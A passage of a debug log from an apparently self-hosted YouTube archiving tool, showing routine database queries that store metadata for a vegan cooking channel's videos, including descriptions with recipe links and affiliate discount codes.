\n\u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0🌱\u00A0LAZY\u00A0vegan\u00A0meals\u00A0to\u00A0...\u00A0\u00A0\n2. Realistic What I Eat in a Day: \n\u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0Vegan\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0Vlog\u00A0🌱...\u00A0\u00A0\n3. Pam Anderson Recipes: \n\u00A0\u00A0\u00A0•\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson's\u00A0VEGAN\u00A0Cookb...\u00A0\u00A0\n\n💚 OTHER PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nFree Music for Videos 👉 Music by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35\nFree Music for Videos 👉 Music by frumhere - the place we go. - https://thmatc.co/?l=452E5134\nFree Music for Videos 👉 Music by Mark Generous - Earl Grey - https://thmatc.co/?l=4AD800F9", "What I Eat in a Day 🌱 EASY high protein vegan meals (REALISTIC)", 1, nil, false, "8XL7V5tP6Ec", "https://www.youtube.com/watch?v=8XL7V5tP6Ec", "/downloads/downloads/alec/Steamy Vegan/2025-11-15 What I Eat in a Day 🌱 EASY high protein vegan meals (REALISTIC)/What I Eat in a Day 🌱 EASY high protein vegan meals (REALISTIC) [8XL7V5tP6Ec].NA", false, ~U[2025-11-15 00:00:00Z]] 20:31:06.431 [debug] QUERY OK source="sources" db=0.7ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.434 [debug] QUERY OK source="media_items" db=2.5ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-13 00:00:00Z], 1] 20:31:06.436 [debug] QUERY OK source="media_items" db=1.3ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan breakfast sausages are so crispy on the outside, are juicy on the inside, can be air-fried or pan-fried and are high-protein at 13g of protein per sausage. Meal prep a bunch of these homemade sausages, toss them in the freezer, and enjoy them in all kinds of vegan breakfast recipes!\n\nGet this Vegan Breakfast Sausages recipe on my blog! ➡️ https://steamyvegan.com/vegan-breakfa...\n\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nUse Unflavored Protein Powder to Boost the Protein in these Sausages. I recommend any of these brands below, they've all worked great for me: \n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious Episodes You Might Be Interested In:\n1. A savory version of this recipe - Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n2. Black Bean Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n3. Lazy Girl Recipes: \u00A0\u00A0\u00A0•\u00A02\u00A0Lazy\u00A0Girl\u00A0Vegan\u00A0Recipes\u00A0🥱\u00A0EASY\u00A0&\u00A0DELICIOUS\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "HIgh-Protein VEGAN Breakfast Sausage Recipe (13g protein, gluten-free, dairy-free)", "a1fa996b-4f06-44e7-a1e6-18b57fe46b10", 1, [], false, "D7eLd4vyEI8", "https://www.youtube.com/watch?v=D7eLd4vyEI8", 40, "/downloads/downloads/alec/Steamy Vegan/2025-11-13 HIgh-Protein VEGAN Breakfast Sausage Recipe (13g protein, gluten-free, dairy-free)/HIgh-Protein VEGAN Breakfast Sausage Recipe (13g protein, gluten-free, dairy-free) [D7eLd4vyEI8].NA", false, false, false, 1, ~U[2025-11-13 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These vegan breakfast sausages are so crispy on the outside, are juicy on the inside, can be air-fried or pan-fried and are high-protein at 13g of protein per sausage. Meal prep a bunch of these homemade sausages, toss them in the freezer, and enjoy them in all kinds of vegan breakfast recipes!\n\nGet this Vegan Breakfast Sausages recipe on my blog! ➡️ https://steamyvegan.com/vegan-breakfa...\n\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nUse Unflavored Protein Powder to Boost the Protein in these Sausages. I recommend any of these brands below, they've all worked great for me: \n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious Episodes You Might Be Interested In:\n1. A savory version of this recipe - Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n2. Black Bean Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n3. Lazy Girl Recipes: \u00A0\u00A0\u00A0•\u00A02\u00A0Lazy\u00A0Girl\u00A0Vegan\u00A0Recipes\u00A0🥱\u00A0EASY\u00A0&\u00A0DELICIOUS\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "HIgh-Protein VEGAN Breakfast Sausage Recipe (13g protein, gluten-free, dairy-free)", 1, nil, false, "D7eLd4vyEI8", "https://www.youtube.com/watch?v=D7eLd4vyEI8", "/downloads/downloads/alec/Steamy Vegan/2025-11-13 HIgh-Protein VEGAN Breakfast Sausage Recipe (13g protein, gluten-free, dairy-free)/HIgh-Protein VEGAN Breakfast Sausage Recipe (13g protein, gluten-free, dairy-free) [D7eLd4vyEI8].NA", false, ~U[2025-11-13 00:00:00Z]] 20:31:06.437 [debug] QUERY OK source="sources" db=0.9ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.440 [debug] QUERY OK source="media_items" db=2.3ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-08 00:00:00Z], 1] 20:31:06.441 [debug] QUERY OK source="media_items" db=1.1ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThese 2 easy vegan recipes are perfect for those nights when the energy is low and you just want to cook something that's a quick recipe. Join me for this cook with me episode where I make 2 of my go-to lazy girl vegan recipes.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n\n💚 PRODUCTS I LOVE USING💚\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nProtein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 Lazy Girl Vegan Recipes 🥱 EASY & DELICIOUS", "308016b8-1128-4b23-adc0-e35c12237cda", 1, [], false, "X_5PQHr2eGI", "https://www.youtube.com/watch?v=X_5PQHr2eGI", 41, "/downloads/downloads/alec/Steamy Vegan/2025-11-08 2 Lazy Girl Vegan Recipes 🥱 EASY & DELICIOUS/2 Lazy Girl Vegan Recipes 🥱 EASY & DELICIOUS [X_5PQHr2eGI].NA", false, false, false, 1, ~U[2025-11-08 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThese 2 easy vegan recipes are perfect for those nights when the energy is low and you just want to cook something that's a quick recipe. Join me for this cook with me episode where I make 2 of my go-to lazy girl vegan recipes.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n\n💚 PRODUCTS I LOVE USING💚\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nProtein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 Lazy Girl Vegan Recipes 🥱 EASY & DELICIOUS", 1, nil, false, "X_5PQHr2eGI", "https://www.youtube.com/watch?v=X_5PQHr2eGI", "/downloads/downloads/alec/Steamy Vegan/2025-11-08 2 Lazy Girl Vegan Recipes 🥱 EASY & DELICIOUS/2 Lazy Girl Vegan Recipes 🥱 EASY & DELICIOUS [X_5PQHr2eGI].NA", false, ~U[2025-11-08 00:00:00Z]] 20:31:06.442 [debug] QUERY OK source="sources" db=0.8ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.444 [debug] QUERY OK source="media_items" db=1.7ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-06 00:00:00Z], 1] 20:31:06.447 [debug] QUERY OK source="media_items" db=1.3ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Subscribe to my channel for more high-protein plant-based recipes here! 👇🏻\nhttps://bit.ly/SteamyVegan\n\nI always enjoy making delicious Ukrainian recipes so I’m very excited to share this vegan meal prep with you! Three vegan recipes, all inspired from popular Ukrainian dishes. We’ll be making Unstuffed Cabbage Rolls, Borscht and Apple Cinnamon Kasha (Buckwheat Porridge).\n\nGet these one pot Ukrainian-inspired recipes on my blog! 👇🏻\nUNSTUFFED CABBAGE ROLLS 👉🏻 https://steamyvegan.com/unstuffed-cab...\nBLACK BEAN BORSCHT 👉🏻 https://steamyvegan.com/black-bean-bo...\nAPPLE CINNAMON KASHA (BUCKWHEAT PORRIDGE) 👉🏻 https://steamyvegan.com/apple-cinnamo...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 PRODUCTS I LOVE USING💚\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nProtein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:31 - Unstuffed Cabbage Rolls (Cabbage Roll Casserole)\n9:52 - Black Bean Borscht\n17:47 - Apple Cinnamon Kasha", "Ukrainian Vegan Meal Prep! 3 Healthy & Delicious Vegan Recipes", "621c2690-ebce-42da-9353-197432919c3c", 1, [], false, "koSXDEHor8o", "https://www.youtube.com/watch?v=koSXDEHor8o", 42, "/downloads/downloads/alec/Steamy Vegan/2025-11-06 Ukrainian Vegan Meal Prep! 3 Healthy & Delicious Vegan Recipes/Ukrainian Vegan Meal Prep! 3 Healthy & Delicious Vegan Recipes [koSXDEHor8o].NA", false, false, false, 1, ~U[2025-11-06 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Subscribe to my channel for more high-protein plant-based recipes here! 👇🏻\nhttps://bit.ly/SteamyVegan\n\nI always enjoy making delicious Ukrainian recipes so I’m very excited to share this vegan meal prep with you! Three vegan recipes, all inspired from popular Ukrainian dishes. We’ll be making Unstuffed Cabbage Rolls, Borscht and Apple Cinnamon Kasha (Buckwheat Porridge).\n\nGet these one pot Ukrainian-inspired recipes on my blog! 👇🏻\nUNSTUFFED CABBAGE ROLLS 👉🏻 https://steamyvegan.com/unstuffed-cab...\nBLACK BEAN BORSCHT 👉🏻 https://steamyvegan.com/black-bean-bo...\nAPPLE CINNAMON KASHA (BUCKWHEAT PORRIDGE) 👉🏻 https://steamyvegan.com/apple-cinnamo...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 PRODUCTS I LOVE USING💚\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nProtein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:31 - Unstuffed Cabbage Rolls (Cabbage Roll Casserole)\n9:52 - Black Bean Borscht\n17:47 - Apple Cinnamon Kasha", "Ukrainian Vegan Meal Prep! 3 Healthy & Delicious Vegan Recipes", 1, nil, false, "koSXDEHor8o", "https://www.youtube.com/watch?v=koSXDEHor8o", "/downloads/downloads/alec/Steamy Vegan/2025-11-06 Ukrainian Vegan Meal Prep! 3 Healthy & Delicious Vegan Recipes/Ukrainian Vegan Meal Prep! 3 Healthy & Delicious Vegan Recipes [koSXDEHor8o].NA", false, ~U[2025-11-06 00:00:00Z]] 20:31:06.448 [debug] QUERY OK source="sources" db=1.7ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.451 [debug] QUERY OK source="media_items" db=2.3ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-02 00:00:00Z], 1] 20:31:06.453 [debug] QUERY OK source="media_items" db=1.5ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I love one pot vegan recipes, mostly because I love not having too many dishes to do, but also because these ones are high-protein, healthy, and easy vegan recipes. We're making a heallthy one pot vegan chili and a vegan butter chicken in this episode! \n\nGet these one pot dinner recipes on my blog!\nWHITE BEAN PUMPKIN CHILI 👉🏻 https://steamyvegan.com/white-bean-pu...\nVEGAN BUTTER CHICKEN 👉🏻 https://steamyvegan.com/vegan-butter-...\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 OTHER PRODUCTS I LOVE USING💚\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nProtein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Cozy One Pot Dinners I Make EVERY Fall (High Protein and VEGAN!)", "26ca71ea-fb04-4677-bf79-4f3384965d93", 1, [], false, "Dlq3xEuNlPs", "https://www.youtube.com/watch?v=Dlq3xEuNlPs", 43, "/downloads/downloads/alec/Steamy Vegan/2025-11-02 Cozy One Pot Dinners I Make EVERY Fall (High Protein and VEGAN!)/Cozy One Pot Dinners I Make EVERY Fall (High Protein and VEGAN!) [Dlq3xEuNlPs].NA", false, false, false, 1, ~U[2025-11-02 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "I love one pot vegan recipes, mostly because I love not having too many dishes to do, but also because these ones are high-protein, healthy, and easy vegan recipes. We're making a heallthy one pot vegan chili and a vegan butter chicken in this episode! \n\nGet these one pot dinner recipes on my blog!\nWHITE BEAN PUMPKIN CHILI 👉🏻 https://steamyvegan.com/white-bean-pu...\nVEGAN BUTTER CHICKEN 👉🏻 https://steamyvegan.com/vegan-butter-...\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 OTHER PRODUCTS I LOVE USING💚\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nProtein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Cozy One Pot Dinners I Make EVERY Fall (High Protein and VEGAN!)", 1, nil, false, "Dlq3xEuNlPs", "https://www.youtube.com/watch?v=Dlq3xEuNlPs", "/downloads/downloads/alec/Steamy Vegan/2025-11-02 Cozy One Pot Dinners I Make EVERY Fall (High Protein and VEGAN!)/Cozy One Pot Dinners I Make EVERY Fall (High Protein and VEGAN!) [Dlq3xEuNlPs].NA", false, ~U[2025-11-02 00:00:00Z]] 20:31:06.454 [debug] QUERY OK source="sources" db=1.1ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.457 [debug] QUERY OK source="media_items" db=2.1ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-30 00:00:00Z], 1] 20:31:06.458 [debug] QUERY OK source="media_items" db=1.2ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today's vegan meal prep, I'm making 5 high-protein and healthy vegan recipes that are gluten-free, 107g of protein, all while being under 1800 calories! I love making these cozy vegan recipes all Fall and Winter and they're easy and quick meal prep recipes that only take 90 minutes to make and provide you with 3 days of meals for 2 people. \n\nGet the full meal prep instructions on my blog! 👉🏻 https://steamyvegan.com/cozy-high-pro...\n\nWant to try the protein powder I use all the time? Discount below:\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 PRODUCTS I LOVE USING💚\n\n💪🏼 My Fave Protein Bars - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nOther Protein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "COZY High Protein Vegan Meal Prep! 🍁 100g Protein, 1800 Calories 